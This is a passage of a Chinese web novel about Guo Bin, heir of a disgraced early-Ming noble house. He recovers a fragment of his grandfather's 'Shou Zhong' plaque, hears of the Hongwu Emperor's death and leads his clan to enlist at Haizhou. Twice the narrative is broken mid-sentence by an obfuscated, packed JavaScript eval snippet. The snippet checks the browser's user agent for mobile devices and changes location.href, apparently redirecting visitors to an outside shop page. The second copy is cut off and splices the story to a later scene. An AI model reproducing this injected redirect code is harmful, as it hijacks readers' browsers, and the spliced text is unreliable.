他知道,自己心中从未放下过祖宅,从未放下过家族的冤屈。如今胡惟庸案的风声渐松,锦衣卫的搜捕也早已停止,他心中那个潜回临淮乡下、打探消息并看一看祖宅的念头,越来越强烈。 当晚,郭斌召集郭福和两名李诚留下的“郎中”议事。 “这两年,多谢各位的陪伴与相助。”郭斌沉声道,“如今风声渐松,我想潜回临淮乡下一趟。一来打探叔叔郭英一脉的消息,二来,想回去看看曾祖父留下的祖宅。” 郭福心中一惊:“先生,万万不可!祖宅虽在乡下,但当年郭府遭难,官府定已清查过,说不定还留有眼线。您这一去,怕是凶多吉少!” “是啊,郭斌先生。”一名“郎中”附和道,“赵老也说了,郭英大人在京中安好,我们只需在此蛰伏,不必冒此风险。” “我意已决。”郭斌摇摇头,语气坚定,“郭英叔叔一脉安好,我心中固然欣慰。但祖宅是郭家的根,是曾祖父、父亲生活过的地方,藏着我们家族的印记。如今我身为郭家的后人,若连祖宅都不敢回,何谈延续家族香火,何谈铭记先祖教诲?” 他顿了顿,继续道:“我此次前往,会乔装成货郎,只在暗处打探,绝不轻易暴露身份。你们留在庄园,照顾好玘儿和族人。若我十日之内未归,你们便带着玘儿,前往赵老说的深山村落暂避。” 郭福知道郭斌的性子,一旦下定决心,便不会轻易改变。他叹了口气:“先生既然执意要去,老奴便不多劝了。只是您一定要小心,祖宅附近的几个村子,当年多有受郭府恩惠的乡邻,若真遇危险,或许能求他们相助。” 两名“郎中”也点了点头:“先生放心,庄园的事我们会打理好,玘少爷我们也会照顾好。” 次日清晨,郭斌换上一身洗得发白的粗布货郎服,背上装满针头线脑、小糖块的货郎担,踏上了前往临淮乡下的路。他没有告诉郭玘自己的去向,只说是去镇上赶集,很快就回来。 临淮乡下的祖宅距离山坳庄园约莫八十里路程,郭斌晓行夜宿,沿着田间小道缓步前行。沿途的村落大多熟悉,只是物是人非。第三日午后,他终于抵达了祖宅所在的郭家村。 村子依旧是记忆中的模样,青石板路蜿蜒曲折,两旁是低矮的土坯房。只是村口多了一块告示牌,上面依稀写着“清查流民,严禁窝藏”的字样。郭斌心中一凛,挑着货郎担,装作走村串户的货郎,缓缓走进村子。 村里的人大多不认识他了——当年他离开时,还是个少年,如今已长成沉稳的青年,又刻意扮作粗鄙货郎,模样早已不同。他沿着村路缓缓前行,目光却始终落在村东头那座最大的宅院上——那便是郭氏祖宅。 远远望去,祖宅的朱红大门紧闭,门楣上的“郭府”匾额已不知所踪,取而代之的是一道歪斜的封条,上面的字迹早已模糊。院墙多处坍塌,露出里面残破的房屋,院子里的老槐树依旧挺立,只是枝叶稀疏,显得有些萧瑟。 郭斌没有贸然靠近,而是挑着货郎担,在村里慢慢转悠。他走到村头的老槐树下,几位老人正在纳凉聊天。 “老人家,买点针线?”郭斌放下货郎担,笑着问道。 一位老者抬起头,打量着他:“外乡来的货郎?以前没见过你啊。” “是啊,第一次来贵村。”郭斌笑着答道,“听说这村里以前出过大人物?” 老者眼中闪过一丝警惕,随即叹了口气:“可不是嘛,以前的郭府,出过两位侯爷。只是……唉,不提也罢。” “哦?两位侯爷?”郭斌故作好奇,“想必是功勋卓著的世家大族,怎么会落到这般田地?” “还不是因为蓝玉那逆贼!”另一位老者愤愤道,“郭府大公子郭景振,被指认与蓝玉同谋,侯府被抄,祖宅也被封了。好在二公子郭景扬不知去向,算是给郭家留了一丝香火。” “那另一位侯爷呢?”郭斌问道。 “你说的是武定侯郭英大人吧?”老者答道,“他可比郭兴大人谨慎多了!这些年,胡党案、,多少功臣都倒了,就他安然无恙。听说他如今是禁军首领,深得主上信任,每天都陪在主上身边,谨言慎行,从不参与任何党争,连私下宴请都极少举办,自然不会被猜忌。” 郭斌心中一块石头终于落地。郭英叔叔果然安好!他知道,郭英叔叔能在屡次风波中安然无恙,绝非运气。父亲郭兴生前常说,弟弟郭英“心细如发,谨小慎微”,当年父亲忧心家族命运时,还曾感慨“若英弟能掌家,或许郭家能避祸”,如今想来,父亲的担忧与赞赏,都是深谋远虑。 夕阳西下,村头的老槐树下渐渐热闹起来,劳作归来的村民们围拢过来,买些针线、糖块。郭斌一边招呼着生意,一边不动声色地打探着祖宅的情况。 “郭府封了这么久,里面的东西都被搜走了吧?”郭斌随口问道。 一位中年妇人叹了口气:“可不是嘛!当年锦衣卫来了好多人,把府里值钱的东西都搜走了,连郭老太爷手书的匾额都被拆了。听说郭老太爷是个了不起的人物,当年还曾给主上算过命呢!” 郭斌心中一动,郭老太爷便是祖父郭山甫,当年确实曾为太祖皇帝卜算,后率子女追随,才有了郭家日后的荣光。他问道:“那匾额上写的什么?竟也被拆了?” “好像是‘守忠’两个字。”妇人回忆道,“郭府的人都说,这是郭家的家训,让后人以忠为本。可惜啊,这么好的匾额,最后也不知去向了。” 郭斌心中一紧,祖父的“守忠”匾额,是祖宅的灵魂,也是郭家的精神象征。他暗暗下定决心,一定要想办法进入祖宅,看看能否找到匾额的痕迹。 夜色渐深,村民们渐渐散去。郭斌挑着货郎担,绕到村后的山坡上,俯瞰着祖宅的方向。封条虽然还在,但院墙坍塌了不少,想要进去并不难。他耐心等待着,直到月上中天,村里一片寂静,才悄悄溜下山坡,朝着祖宅走去。 坍塌的院墙处有一个缺口,足够一人通过。郭斌小心翼翼地钻了进去,落在满是杂草的院子里。月光洒在地上,形成斑驳的光影,照亮了眼前的残破景象。 院子里的杂草齐腰深,长满了青苔的石板路早已看不清原貌。他沿着记忆中的路线,缓缓走向正厅。正厅的门窗早已腐朽,歪斜地挂在门框上,里面漆黑一片。 郭斌从货郎担里取出事先准备好的火把,点燃后走进正厅。火光摇曳,照亮了厅内的一切。曾经的雕梁画栋如今布满了蛛网和灰尘,父亲当年办公的案几倒在地上,母亲喜欢的屏风早已残破不堪,地上散落着破碎的瓷器和木屑。 泪水不自觉地从郭斌眼中滑落。这就是他小时候生活过的地方,是承载了他所有童年记忆的祖宅,如今却变成了这般模样。他想起了祖父坐在正厅给他们讲故事的场景,想起了父亲在院子里教他练剑的模样,想起了母亲在厨房忙碌的身影,心中如刀割般疼痛。 他拿着火把,在正厅中缓缓踱步,试图寻找一些当年的痕迹。祖父的“守忠”匾额原本悬挂在正厅的正中央,如今只剩下墙上的一道浅浅印记。他蹲下身,仔细查看地面的废墟,希望能找到匾额的残片。 火把的光芒照亮了墙角的一堆碎木片,郭斌心中一动,连忙走过去,小心翼翼地拨开碎木片。很快,一块残破的木板映入眼帘,上面刻着一个模糊的“忠”字,笔迹苍劲有力,正是祖父郭山甫的手书! 郭斌的心脏狂跳起来,他继续拨开碎木片,又找到了另一块残片,上面刻着半个“守”字。两块残片拼在一起,正是“守忠”二字的一部分! 他颤抖着双手,将残片从废墟中取出。残片上布满了灰尘和裂痕,却依旧能感受到木质的厚重。他从怀中取出那半块“勇”字玉佩,将玉佩上的纹路与匾额残片上的笔迹比对——果然,两者的笔锋、力道如出一辙,都是曾祖父的亲笔! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914077|192489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “祖父……”郭斌哽咽着,泪水滴落在残片上,“孙儿回来了。您的教诲,孙儿从未忘记;郭家的家训,孙儿定会传承下去。” 他将残片紧紧抱在怀中,仿佛抱着祖父的期望,抱着家族的根脉。他知道,这块残片与那半块玉佩一样,是郭家的传家宝,是支撑他走下去的精神支柱。 就在这时,院墙外传来一阵轻微的脚步声。郭斌心中一紧,连忙熄灭火把,躲到一根腐朽的梁柱后面。 脚步声越来越近,一个熟悉的声音在院墙外响起:“赵伯,您说的那个货郎,真的形迹可疑吗?” 是村里的里正!郭斌心中一凛,屏住了呼吸。 “不好说。”另一个声音答道,正是村头那位纳凉的老者,“他一进来就打听郭府的事,眼神总是往祖宅这边瞟,说不定是官府派来的密探。” “唉,官府也真是,都过去两年了,还不放心。”里正叹了口气,“郭府当年对我们村不薄,郭兴大人开仓赈济,郭英大人出钱修桥,我们可不能忘恩负义。要是真有密探,我们也得想办法瞒过去。” 郭斌心中一暖,没想到时隔多年,村里的人还记得郭家的恩情。 “是啊,”赵伯道,“当年我儿子病重,还是郭府的郎中给治好的。要是郭二公子真能回来,我们拼了命也得护着他。” 脚步声渐渐远去,郭斌从梁柱后面走出来,心中百感交集。他知道,这里不宜久留,必须尽快离开。 他最后看了一眼正厅,看了一眼院子里的老槐树,心中默念:“祖宅,等着我。等我洗刷了家族的冤屈,定会回来修复你,让你重现当年的荣光。” 说完,他小心翼翼地抱着匾额残片,从坍塌的院墙缺口钻了出去,消失在夜色中。 回到山坳庄园时,已是第五日傍晚。郭玘看到父亲回来,兴冲冲地跑上前,抱住他的腿:“爹,你回来了!你给我带糖了吗?” 郭斌弯腰抱起儿子,在他脸上亲了一口:“玘儿乖,爹给你带了好东西。”他从怀中取出那半块“勇”字玉佩,又小心翼翼地拿出“守忠”匾额残片,放在儿子手中,“你看,这是曾祖父留下的字,这是我们家的传家宝。” 郭玘好奇地抚摸着残片上的字迹,又看了看玉佩:“爹,这上面写的是什么?” “这上面写着‘守忠’二字。”郭斌轻声道,“曾祖父希望我们郭家的后人,都能守住忠诚,守住本心。就像这玉佩上的‘勇’字一样,‘忠’与‘勇’,缺一不可。” 郭玘似懂非懂地点点头,将残片和玉佩还给父亲:“爹,我记住了。” 郭斌将残片和玉佩小心翼翼地收好,心中充满了坚定。他知道,自己身上的责任更加沉重了。曾祖父的教诲,父亲的遗愿,族人的期望,都压在他的肩上。 当晚,郭斌召集族人,宣布了继续在此蛰伏的决定。“如今郭英叔叔一脉安好,我们在这山坳庄园中暂避,既隐蔽又安全。海州路途遥远,且如今时局未稳,贸然迁徙恐生变数。我们暂且在此耕种劳作,积蓄力量,等待更好的时机。” 族人们纷纷点头,他们早已厌倦了颠沛流离的生活,这处山坳庄园虽简陋,却能让他们安稳度日。 接下来的日子,郭斌依旧带着族人耕种劳作,郭玘则在庄园中慢慢长大。郭斌时常拿出“守忠”残片和“勇”字玉佩,给郭玘讲述曾祖父的教诲、祖父的战功,让他铭记自己的根脉。 时光荏苒,又是三年过去。洪武三十一年,京城传来惊天消息——太祖皇帝朱元璋驾崩,皇太孙朱允炆继位,改元建文。 消息传到山坳庄园时,郭斌正在教郭玘识字。他手中的毛笔一顿,墨汁滴落在宣纸上,晕开一片黑点。他知道,太祖皇帝的驾崩,意味着一个时代的结束,也意味着新的变数即将来临。 “爹,怎么了?”八岁的郭玘抬起头,好奇地问道。 郭斌放下毛笔,看着儿子稚嫩的脸庞,心中百感交集。他从怀中取出“守忠”残片和“勇”字玉佩,放在桌上:“玘儿,记住,我们是郭家人,要守住‘忠勇’二字。无论未来天下如何变幻,都不能忘记自己的根。” 郭玘重重地点点头,将两块信物紧紧握在手中。 郭斌望向窗外,山坳中的草木郁郁葱葱,阳光透过树叶洒下斑驳的光影。他知道,太祖皇帝驾崩后,朝堂之上必定会有新的动荡。而他与族人,或许即将迎来新的命运转折。但他心中没有畏惧,因为他手中有先祖的信物,心中有坚定的信念,身边有族人的陪伴。 祖宅的残影,曾祖父的教诲,父亲的遗愿,都将成为他前行的力量。他会带着族人,在这片土地上继续蛰伏,等待时机,为家族洗刷冤屈,让郭家的“忠勇”精神,在乱世中得以传承。 8. 第一卷 淮西裂璧 第8章 洪武遗诏 洪武三十一年闰五月,淮西的风带着初夏的燥热,掠过山坳庄园的稻田。郭斌正带着郭玘在田埂上除草,八岁的孩子身形日渐挺拔,穿着粗布短衫,额角渗着细密的汗珠,动作却已颇为娴熟。这五年间,他们在山坳中安稳蛰伏,开垦的十亩良田年年丰收,族人也从最初的七人增至十五人——赵老将几位郭家旧部的遗孤悄悄送来,让这个逃亡的家族添了几分生机,却也让隐匿的负担更重了几分。 “爹,赵爷爷说,京城最近来往的官差特别多,是不是出什么事了?”郭玘直起身,用袖子擦了擦汗,好奇地问道。他的声音清脆,带着孩童的天真,却也隐隐透着一丝敏感——这五年间,父亲从未放松过警惕,族人说话时总是压低声音,遇到陌生人便会下意识避让,这些细节都让他知道,自己的家与旁人不同。 郭斌手中的锄头顿了顿,目光望向远方京城的方向,眼中闪过一丝凝重。近一个月来,赵老从镇上带回的消息越来越诡异:京城禁军调动频繁,驿道上的官驿日夜不休,甚至有锦衣卫打扮的人在临淮一带暗中巡查,只是行事比洪武年间收敛了许多。他心中早已泛起波澜,只是不愿让族人恐慌,一直未曾明说。 “或许是朝廷有公务,不必多问。”郭斌沉声道,拍了拍儿子的肩膀,“快些除草,等秋收了,爹教你练剑。” 郭玘点点头,低下头继续干活,只是小脸上多了几分疑惑。他知道,父亲越是平静,越是意味着事情不简单。 当晚,月上中天,郭斌正在书房擦拭那半块“勇”字玉佩,窗外传来一阵轻微的叩击声——是赵老约定的暗号,只有紧急消息才会使用。他立刻起身开门,赵老带着一身夜露,神色凝重地走了进来,连呼吸都带着急促。 “先生,京城出大事了!”赵老压低声音,语气带着难以抑制的颤抖,“洪武爷……驾崩了!” “什么?”郭斌浑身一震,手中的玉佩险些滑落。朱元璋驾崩了?那个一手开创大明基业、诛杀无数功臣、让郭家遭遇灭顶之灾的帝王,终究还是落幕了。他心中五味杂陈,有震惊,有茫然,还有一丝难以言说的复杂——这个帝王的存在,是悬在郭家头顶的利剑,如今利剑崩塌,未来却更显迷茫,新的掌权者会如何对待他们这些罪臣之后,谁也无从知晓。 “消息确凿?”郭斌稳住心神,追问道。 “千真万确!”赵老点点头,“镇上的驿丞是我的远房亲戚,他亲口说的。闰五月初十,洪武爷在应天皇宫驾崩,遗诏传位给皇太孙朱允炆,已经于今日登基,改元建文了。” 朱允炆即位?郭斌心中一动。他曾听父亲郭兴提及,皇太孙朱允炆性情温和,深受儒家思想影响,与洪武爷的严苛风格截然不同。或许,这会是郭家的转机?但转念一想,洪武朝的罪臣印记如同烙印,新皇即便推行宽政,恐怕也不会轻易为旧案翻案。 “还有什么消息?”郭斌问道。 “还有就是,新皇即位后,立刻重用了齐泰、黄子澄、方孝孺三位文臣,听说要推行宽政,减轻刑罚、调整赋税。”赵老继续道,“不过,也有不好的消息——新皇似乎打算削藩,最近已经有御史弹劾周王朱橚,说他图谋不轨。而且,新皇好像格外看重文臣,对武将不怎么待见,京里的几位武将勋贵,日子都不太好过。” 削藩?重文抑武?郭斌心中一沉。藩王手握兵权,盘踞各地,确实是中央集权的隐患,但削藩历来是险棋,稍有不慎便会引发战乱。而重文抑武,对他们这些武将世家的罪臣之后来说,更是雪上加霜——新皇既不信任武将,又急于巩固皇权,或许会比洪武爷更容不下他们这些有“前科”的家族。 “武定侯府那边,可有消息?”郭斌问道。郭英叔叔一脉是郭家唯一的希望,他必须知道他们的处境。 “赵伯说,武定侯府最近很低调,郭英大人已经致仕在家,闭门谢客。其子郭铭、郭镇也极少外出,听说郭镇大人本在禁军任职,新皇即位后,被调到了南京卫,看似升职,实则被剥夺了实权。”赵老答道,“如今京中文臣当道,武将们都夹着尾巴做人,武定侯府也只能自保,根本顾不上旁人。” 郭斌沉默了。武定侯府尚且如此,他们这些罪臣之后,一旦被新皇注意到,后果不堪设想。他知道,山坳庄园虽隐蔽,但随着削藩引发的动荡,地方官府定会加强盘查,这里迟早会不再安全。 接下来的几日,京城的消息源源不断地传来。建文帝朱允炆果然推行了一系列宽政:废除洪武年间的部分苛法,减轻江浙一带的赋税,赦免了部分因胡党案牵连的罪臣家属。这些举措让百姓拍手称快,却让郭斌心中的忧虑愈发深重——新皇越是急于展现“仁政”,越是要与洪武爷的政策切割,而作为洪武朝罪臣的郭家,恰恰是这种切割过程中最容易被牺牲的对象。 果然,半月后,赵老带来了更坏的消息:“先生,新皇已经下令削藩,周王朱橚被废为庶人,流放云南。齐泰、黄子澄等文臣还在劝谏新皇,要尽快削除其他藩王,尤其是燕王朱棣、宁王朱权等手握重兵的藩王。京里的武将们都人心惶惶,听说李景隆那小子,凭着是李文忠之子的身份,竟被任命为左军都督府左都督,掌管部分京营兵权,可他哪里懂什么兵法?” 郭斌心中一凛。李景隆无甚战功,却能身居高位,可见新皇重文抑武的决心。这样的举措,必然会引起武将勋贵的不满,朝堂之上,怕是又要掀起一场风波。而淮西作为武将勋贵的聚集地,一旦风波蔓延,他们这些隐匿在此的罪臣之后,必然会首当其冲。 “武定侯府那边,还有其他动静吗?”郭斌再次问道。 “听说郭铭大人一直在暗中联络各方旧部,似乎在为后路做打算。”赵老答道,“毕竟新皇削藩,藩王与朝廷的矛盾越来越深,谁也不知道接下来会发生什么。武定侯府虽是皇亲,也怕被卷入其中。” 郭斌心中一沉。武定侯府尚且要为后路谋划,他们这些无根无靠的逃亡者,更没有理由留在淮西坐以待毙。他知道,是时候重新考虑海州的那条路了。 当晚,郭斌召集族人议事。书房内,郭福、赵老及几位族中长辈围坐在一起,气氛凝重得让人喘不过气。 “各位,如今洪武爷驾崩,新皇即位,推行宽政,看似天下太平,实则暗流涌动。”郭斌沉声道,“新皇重文抑武,削藩急进,对武将勋贵极为不利。武定侯府已被边缘化,自身难保,我们郭家作为罪臣之后,一旦暴露身份,必然会成为新皇巩固皇权的牺牲品。” “先生,那我们该怎么办?继续在这里蛰伏下去,难道不行吗?”一位族中长辈担忧地问道。这里是他们安稳了五年的地方,实在舍不得轻易离开。 “继续在此蛰伏,恐怕已非良策。”郭斌摇摇头,“新皇削藩,必然会引起藩王反抗,天下恐将大乱。淮西是兵家必争之地,一旦战乱爆发,我们这些没有户籍、没有靠山的人,只会成为刀下亡魂。而且,地方官府为了响应新皇,定会加强对流民的盘查,我们迟早会被发现。” “先生,您是想前往海州?”郭福问道。五年前,李诚曾提议前往海州投奔鲁荒王,只是当时郭斌认为时机未到,一直搁置至今。 郭斌点点头:“海州远离京城,地处海滨,相对偏僻。鲁荒王朱檀虽已薨逝,但其子朱肇煇承袭爵位,与郭家有亲。五年前,李诚曾说过,海州有郭家旧部接应,或许能为我们提供一条生路。更重要的是,据我所知,东海卫下辖的军户,可以接纳流民入籍,一旦入了军籍,按照朝廷律法,便可免除过往的罪责,这是我们唯一能正大光明活下去的机会。” “入军籍?”一位族人皱起眉头,“先生,入了军籍,就不再是自由民众了,要服兵役、守卫边疆,生死难料啊!” “我知道。”郭斌沉声道,“但比起被官府抓捕、满门抄斩,入军籍是我们唯一的选择。至少,入了军籍,我们有了合法的身份,有了安身立命的根本,玘儿也能在相对安稳的环境中长大。这是无奈之举,也是唯一的生路。” 族人们沉默了。他们知道,郭斌说得对,在生死面前,自由早已是奢望。 就在这时,门外传来一阵急促的脚步声,一名族人匆匆跑进来:“先生,外面有个陌生人,说是武定侯府派来的,有要事求见,还说要见您本人。” 郭斌心中一喜,连忙道:“快请他进来,注意避开其他人。” 片刻后,一名身着青色布衣、腰间佩刀的中年男子走进书房。他目光锐利,神色沉稳,身上带着一股军人的干练,对着郭斌拱手行礼:“在下李默,是武定侯府郭铭大人的亲信。见过郭斌先生。” “李兄客气了。”郭斌连忙回礼,“不知郭铭叔叔派李兄前来,有何指教?” 李默从怀中取出一封密封的密信,递给郭斌:“郭铭大人得知新皇削藩,恐天下大乱,淮西将成是非之地,特命在下前来送信。大人已暗中联络了东海卫的几位旧部,为先生准备好了入籍的门路,希望先生能尽快带着族人前往海州。迟则生变,夜长梦多。” 郭斌接过密信,打开一看,上面是郭铭熟悉的字迹,笔墨仓促却力道十足:“景扬弟,洪武驾崩,建文即位,重文抑武,削藩急进,淮西必乱。东海卫旧部已妥置,可纳族人入军籍避祸。鲁王后裔朱肇煇虽为亲眷,然时局敏感,不可强求庇护,唯旧部与军籍可恃。速行,勿恋栈。另,景振兄‘忠’字玉佩,我已妥存,待玘儿长成,再议合璧之事。” 看着密信上的字迹,郭斌心中百感交集。郭铭叔叔果然没有忘记他们,在这个关键时刻,为他们指明了生路,还特意提醒不可强求鲁王庇护,考虑得极为周全。 李默的到来,让山坳庄园的气氛变得紧张而忙碌。郭斌立刻与李默商议逃亡路线,李默带来了详细的地图,标注了沿途可以避开官府盘查的小路,以及与东海卫旧部接头的暗号。郭福则带领族人收拾行李,只带必要的粮食、衣物和财物,其余东西尽数舍弃——他们是逃亡,不是迁徙,累赘越少,越容易脱身。 赵老则前往镇上,购买了几匹快马和一辆简陋的马车,用于搭载老弱妇孺。族人们都知道时间紧迫,没有人抱怨,没有人拖延,每个人都在默默准备着,脸上带着对未知的忐忑,却也有着对生的渴望。 郭玘看着族人忙碌的身影,心中充满了疑惑。他拉着父亲的衣角,问道:“爹,我们要去哪里?为什么要这么着急离开?” 郭斌蹲下身,看着儿子稚嫩的脸庞,心中一酸。这五年,他一直小心翼翼地守护着儿子的童年,不愿让他过早承受家族的苦难。但如今,他们必须再次踏上逃亡之路,他不得不告诉儿子真相。 “玘儿,我们要去海州。”郭斌沉声道,从怀中取出那半块“勇”字玉佩,放在儿子手中,“你还记得这玉佩吗?还有曾祖父的‘守忠’匾额残片?” 郭玘点点头,握紧了玉佩:“记得。爹说,这是我们家的传家宝,是曾祖父写的字。” “没错。”郭斌道,“我们郭家本是功勋世家,你的祖父郭兴是开国功臣,封巩昌侯。只是后来,家族遭遇变故,你伯父遇害,我们不得不逃亡至此。如今,新皇即位,天下将乱,这里不再安全。海州有你郭铭叔安排的人,我们去那里,入军籍,就能有合法的身份,就能平安活下去。” “入军籍是什么?”郭玘问道。 “入了军籍,我们就是海州的军人,要守着海边的城池,保护百姓。”郭斌尽量用简单的语言解释,“虽然会辛苦一些,但我们能正大光明地活着,不用再躲躲藏藏,你也能像其他孩子一样,读书、学武。” “那我们还能回来吗?”郭玘问道,眼中满是不舍。这里有他熟悉的稻田、山林,有一起玩耍的小伙伴,还有他亲手栽种的小树苗。 郭斌沉默片刻,轻轻抚摸着儿子的头:“等天下太平了,等我们洗刷了家族的冤屈,我们就回来。到时候,爹会带你回到祖宅,让你看看曾祖父栽种的老槐树,让你知道,我们郭家的根在这里。” 郭玘重重地点点头,握紧了手中的玉佩:“爹,我明白了。我会听话,跟你一起去海州。我会好好学武,将来保护你,保护族人,为家族洗刷冤屈。” 看着儿子坚定的眼神,郭斌心中一阵暖流。他知道,儿子已经长大了,能够理解家族的苦难与责任。 出发前夜,郭斌独自一人来到书房,取出“守忠”匾额残片和“勇”字玉佩,放在桌上。月光透过窗棂,洒在信物上,映照出斑驳的光影。他想起了父亲郭兴临终前的嘱托,想起了兄长郭景振的惨死,想起了妻子沈氏的失踪,心中充满了悲痛与坚定。 “父亲,兄长,妻子。”郭斌轻声默念,“我会带着玘儿,带着族人,前往海州。我会让大家在海州东海卫入军籍,合法地活下去,守住郭家的香火,传承郭家的‘忠勇’家训。终有一天,我会为家族洗刷冤屈,让郭家的荣光重现。” 次日凌晨,天还未亮,夜色依旧浓重,郭斌便带领族人,踏上了前往海州的路途。李默骑着马在前引路,郭斌与郭福乘坐一辆简陋的马车,守护着郭玘和几位年老体弱的族人,其余族人则骑着马,带着轻便的行李,跟在后面。 车队没有走官道,而是沿着田间小道、山林小径缓缓前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭斌心中一沉。湘王自焚,燕王蠢蠢欲动,新皇与藩王的矛盾已经激化到了极点。而新皇对武将的打压,也让武定侯府的处境愈发艰难。他们必须加快行程,尽快抵达海州。 郭玘听着客商们的谈论,小脸变得苍白。他拉了拉父亲的衣角,低声道:“爹,天下真的会大乱吗?我们能平安到达海州吗?” 郭斌握住儿子的手,掌心的温度让郭玘稍稍安心:“别怕。有爹在,有李叔叔和族人在,我们一定会平安抵达海州。到了那里,我们就有了合法的身份,就不用再怕了。” 当晚,郭斌与李默商议,决定连夜出发,不再停留。李默点点头,他也担心夜长梦多,一旦战乱爆发,沿途的关卡将难以通行,甚至可能遇到流兵劫匪。 车队连夜出发,在夜色中疾驰。郭玘躺在马车上,听着车轮滚滚的声音,心中充满了忐忑。他紧紧握着手中的玉佩,玉佩温润的触感让他渐渐平静下来。他想起父亲的话,想起曾祖父的“守忠”教诲,心中暗暗给自己打气:我是郭家人,要勇敢,要坚强。 一路上,他们看到越来越多的流民,背着简陋的行李,扶老携幼,朝着南方逃亡。显然,藩王与朝廷的矛盾已经传开,百姓们都在躲避即将到来的战乱。郭斌让族人尽量避开流民,以免发生冲突,或是被流民中的不良之辈盯上。 经过二十余日的日夜兼程,车队终于抵达了海州境内。远远望去,海州城矗立在海滨,城墙高大坚固,城墙上飘扬着大明的旗帜,城门口有士兵站岗,盘查严格。李默勒住马,对郭斌道:“先生,前面就是海州城。按照约定,我们在城外三里的破庙与郭铭大人安排的旧部接头,暗号是‘半璧寻忠勇’。” 郭斌心中一喜,终于抵达目的地了!这五年的蛰伏,二十余日的逃亡,终于要画上一个句号。他看着身旁的郭玘,笑着道:“玘儿,我们到了。前面就是海州,很快,我们就能有安稳的家了。” 郭玘看着远处的卫城,眼中充满了好奇与期待。他知道,这里将是他新的起点,也是家族新的希望。 车队抵达城外的破庙时,庙中已有一位身着灰色短打的中年男子等候。他看到李默,眼中闪过一丝警惕,上前一步问道:“来者何人?深夜至此有何贵干?” 李默拱手道:“半璧寻忠勇。” 中年男子眼中的警惕褪去,连忙回礼:“旧部盼君归。在下张勇,曾是郭兴将军麾下的百户,如今在东海卫军中任职。郭铭大人已写信告知先生的情况,我已为先生和族人准备好了入军籍的门路。” “有劳张兄。”郭斌连忙回礼,“辛苦张兄费心,我们一行人,都是郭家的族人,望张兄多多照拂。” “先生客气了。”张勇道,“郭兴将军对我有救命之恩,能为先生和族人效力,是我的荣幸。只是东海卫军中规矩森严,且如今时局敏感,先生和族人入军籍后,需低调行事,不可暴露真实身份,更不可提及与鲁王府的亲缘关系,以免引来祸端。鲁王府虽是亲戚,但朱肇煇王爷初袭爵位,根基未稳,不敢冒大不韪庇护罪臣之后,只能在暗中提供些许便利,关键时刻或能用上,但不可指望过多。” 郭斌点点头:“张兄所言,我都明白。我们入军籍,只是为了保命,绝不敢给张兄和鲁王府添麻烦。” “如此甚好。”张勇道,“天色已晚,我先带先生和族人前往军营外的屯堡暂住。明日一早,我便带先生去办理入军籍的手续。入了军籍,先生和族人就隶属于东海卫左千户所,负责守卫卫城东侧的海岸线,虽辛苦些,但相对安全。” 说完,张勇带领郭斌一行人和族人,朝着军营外的屯堡走去。屯堡简陋却整洁,都是供军户居住的土坯房。张勇为他们安排了三间房屋,足够族人居住。 当晚,郭斌躺在简陋的土炕上,辗转难眠。他从怀中取出那半块“勇”字玉佩,又拿出郭铭送来的密信,心中充满了坚定。建文帝削藩的举措,已经引发了严重的后果,燕王朱棣与朝廷的矛盾一触即发,天下大乱将至。他们在海州暂时安全,但这只是一个开始。 入军籍,意味着他们不再是自由民众,要承担兵役,要面对边疆的风险。鲁王府的亲缘关系,也只是他们心中的一丝慰藉,未必能带来实际的帮助。但至少,他们有了合法的身份,有了安身立命的根本,玘儿能在相对安稳的环境中长大,家族的香火得以延续。 郭斌起身走到窗前,望着窗外的月光,月光洒在海州的土地上,也洒在他手中的玉佩上,映照出温润的光芒。他心中默念:“父亲,兄长,妻子。我们抵达海州了。郭家的香火,我会守住;郭家的‘忠勇’家训,我会传承。无论未来天下如何变幻,无论入军籍后会面临怎样的艰难,我都会带着玘儿,带着族人,坚韧地活下去,等待洗刷冤屈的那一天。” 9. 第二卷 海州藏璧 第9章 卫所投名 建文元年秋,海州的风带着海腥气,掠过卫城东侧的屯堡。郭斌一夜未眠,天刚破晓便起身整理衣物——今日是族人登记入军籍的日子,也是他们能否在海州立足的关键。他换上一身洗得发白的粗布短衫,将那半块“勇”字玉佩贴身藏好,又仔细检查了郭玘的衣物,确保没有任何可能暴露身份的痕迹。 八岁的郭玘睡眼惺忪地被父亲叫醒,小脸上还带着疲惫。这二十余日的逃亡让他早已习惯了奔波,却依旧对陌生的环境充满忐忑。“爹,我们今天就要去登记了吗?登记之后,我们就真的不用再躲了?” 郭斌蹲下身,帮儿子系好衣扣,语气温和却坚定:“是的。登记入了军籍,我们就有了合法的身份,就能在海州安稳生活。但你要记住,无论见到谁,都不能说我们的真实来历,不能提‘巩昌侯府’,也不能说你祖父的名字,知道吗?” 郭玘重重点头,小手紧紧攥着父亲的衣角:“我记住了,爹。我只说我们是逃荒来的,你叫郭斌,我叫郭玘。” 郭斌心中一暖,摸了摸儿子的头。这五年的蛰伏与逃亡,让本该无忧无虑的孩子过早地学会了隐忍与谨慎,这既是不幸,也是生存的必需。 辰时刚过,张勇便来到屯堡。他身着东海卫的军卒服饰,腰束皮带,肩上扛着一把长刀,神色比昨日更为严肃。“郭斌先生,时辰到了。卫所的登记官巳时开始办公,我们得提前过去排队。记住,到了卫所,一切听我安排,不可多言,不可失态。” 郭斌点点头,转身召集族人。十五名族人早已收拾妥当,神色各异——有期待,有不安,也有对未来的茫然。郭福拄着拐杖,走到郭斌身边:“先生,老奴这把老骨头,还能为族人做点事。登记的时候,我会跟在后面,帮着应答。” 